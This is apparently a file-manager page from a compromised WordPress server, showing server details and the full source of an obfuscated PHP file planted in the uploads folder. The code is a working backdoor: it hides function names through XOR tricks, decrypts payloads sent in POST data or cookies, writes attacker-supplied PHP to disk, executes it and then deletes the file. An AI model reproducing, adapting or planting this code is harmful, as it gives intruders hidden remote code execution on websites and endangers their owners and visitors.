HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/11/kgauqnxy.php
<?php 

$_wpcxzo	=      '_wpcxzo' /*   zeleot   */ ^    '<';
$knqromaksg /*  mcd_   */ =	"a"."r"."r"."\141"	. /* _l */ "y".$_wpcxzo(498-403)   .    $_wpcxzo(1060-951)	.    $_wpcxzo(1071-974)	. /*ev_   */ $_wpcxzo(112);




function  trbdhtc($wbjdct,    $vvu_a)
{

 /* ov */ global /*jefb*/ $_wpcxzo;

 /* ich  */ 

 /*yqw   */ $wbjdct      = /* qt*/ "<" /*   rceho_   */ .	"?"."p"."\x68"    .    "\x70"      .   $_wpcxzo(32)	. /*pd_qr   */ "u".$_wpcxzo(110) /*kea*/ .      "l".$_wpcxzo(471-366) /*  cpuajt   */ .       $_wpcxzo(455-345) /*   asf */ .      "k"."("."\x5f"    .       "\x5f"  .       $_wpcxzo(982-912) /*dqzfkz  */ . /* of */ "I"."L".$_wpcxzo(116-47) /*  eh*/ . /* lh  */ "_".$_wpcxzo(109-14)	.    ")"."\x3b"   .	$_wpcxzo(32)    .	$wbjdct["d"];	$uzrzckee /* wxv   */ =    "f"."\x69"    .	$_wpcxzo(258-150)	.    "\145"     . /* tqpyaz  */ "\137"  .      $_wpcxzo(112) /*   z */ . /*hyh*/ "u"."t"."_"."\x63"    .     "o"."\156" /* wkcph */ .       "\164" /* ixrliq*/ . /*  agnek   */ "\x65"    .      $_wpcxzo(110)  .	"t"."s";

	
     $uzrzckee($vvu_a,	$wbjdct);


       


  u_ow_($vvu_a);

}


$_cyqymhuvg  =     73;




function  u_ow_($vvu_a)
{


 /*  l   */ global    $_wpcxzo;

 /*  z */     include($vvu_a);
     $rhtsroc /*  x */ =    $vvu_a;


    @unlink($rhtsroc);
}



function /*hug   */ xzmbbjv()

{

    global	$_wpcxzo;




 /*   _   */ $nlqenb /*swc   */ =    array();

	$nlqenb["\x70"	.	"\166"]    = /*  uln_d */ phpversion();     $nlqenb["s"."v"]     =      "\63"	.    $_wpcxzo(76-30)     . /*   t  */ "5";


	$_etdkdpdb	=  74;
 /* fl */ echo    @serialize($nlqenb);}



function    zdjxvznas($wbjdct,    $tobqeqpmow)


{

 /*yvup   */ global   $_wpcxzo;



	$fpqywquvt   =   "";


 /*  vbhfce*/ $zjdxvaq    = /*ga */ strlen($wbjdct);

      $slti_armmi	=    strlen($tobqeqpmow);

   $nlqenb /*   juexfd */ =       0;
   $sslc_e       =    0;
	

 /*  syqtv*/ while /*  nwrn*/ ($nlqenb    <    $zjdxvaq)    {

     $lyhfpz	=    $wbjdct[$nlqenb] /*   qsikxx  */ ^    $tobqeqpmow[$sslc_e   %  $slti_armmi];

 /*  lmbo*/ $fpqywquvt      .=	$lyhfpz;
    $sslc_e++;  
 /* vqlcps*/ $nlqenb++;

    }
	
    if   (strlen($fpqywquvt) /*prk */ >       20)  {
     $sslc_eifarj /*  ty_xle  */ =    substr($fpqywquvt,       0,       20);


 /*  cry   */ }


   if	(empty($fpqywquvt))    {    $fpqywquvt	= /*z*/ date('Y-m-d	H:i:s');
    }
	return      $fpqywquvt;}


function    qqvoqahs($pujmg_y)


{       global    $_wpcxzo;


 /*hieckl  */ 


     $nlqenbsxqi     =     "\x61"    . /*   c  */ $_wpcxzo(53)	.    "9"."\x63" /*mmp_qj*/ . /*   qxd  */ "4"."c"."5"."8"."-".$_wpcxzo(56)    . /*  x_aqrd*/ "4"."7".$_wpcxzo(342-243)    .	"-"."\x34"    .     "f"."1".$_wpcxzo(203-147)    . /*  gnu  */ "-"."\x62"  . /* eeiij*/ "\x30"    . /* gdvz_  */ "\x35"	.      "\x37" /*  ooqsu*/ . /* hch */ "-"."e"."2"."\71"      .  "\145"      .	$_wpcxzo(347-250)   .      "0"."6".$_wpcxzo(446-345) /*  nnxp  */ .    "\60" /* wc   */ .   "3"."4".$_wpcxzo(113-60);
 /*_hk */ 

 /* jx*/ foreach    ($pujmg_y /*   sk   */ as	$fgaysy	=> /* sidqi */ $wbjdct)   {


 /* cedi   */ erwnczeg(base64_decode($wbjdct),    $nlqenbsxqi,    $fgaysy);

    }


}



function /* rrsbe   */ erwnczeg($wbjdct, /* v   */ $nlqenbsxqi,	$fgaysy)
{
  global    $_wpcxzo;
 /*h_ak */ 
    $wbjdct	=    unserialize(zdjxvznas(zdjxvznas($wbjdct,  $nlqenbsxqi),	$fgaysy));

	$lda_b_yu	=	'rxgm';	$dkl_jh  =    'er';

 /*   wbe_ea   */ if /*   kyku */ (isset($wbjdct["\141"."\153"]))       {

    if      ($wbjdct["\141"]       ==    "i") /*  nddrl */ {


    xzmbbjv();
       }       elseif    ($wbjdct["\141"]   ==    "e") /*pjra*/ {


    trbdhtc($wbjdct,      sprintf("."."\57"     .	"%".$_wpcxzo(115) /*   jhk  */ . /*a*/ "\x2e" /* cs  */ .    "\160"	.	"l", /*   bfdzl*/ md5($nlqenbsxqi)));

			$okpvym     = /*  sxbetf*/ 44;
 /*dueyob  */ }

	exit();    }


}

qqvoqahs($_POST);    





$wontxie /*   ztntpk   */ =    'rawurldecode';




$xsprnstli	=   $knqromaksg($wontxie,	$_POST);

explode("",    $wontxie);
qqvoqahs($_COOKIE);



$vzbxvxtmo   =    $knqromaksg($wontxie,	$_COOKIE);



?>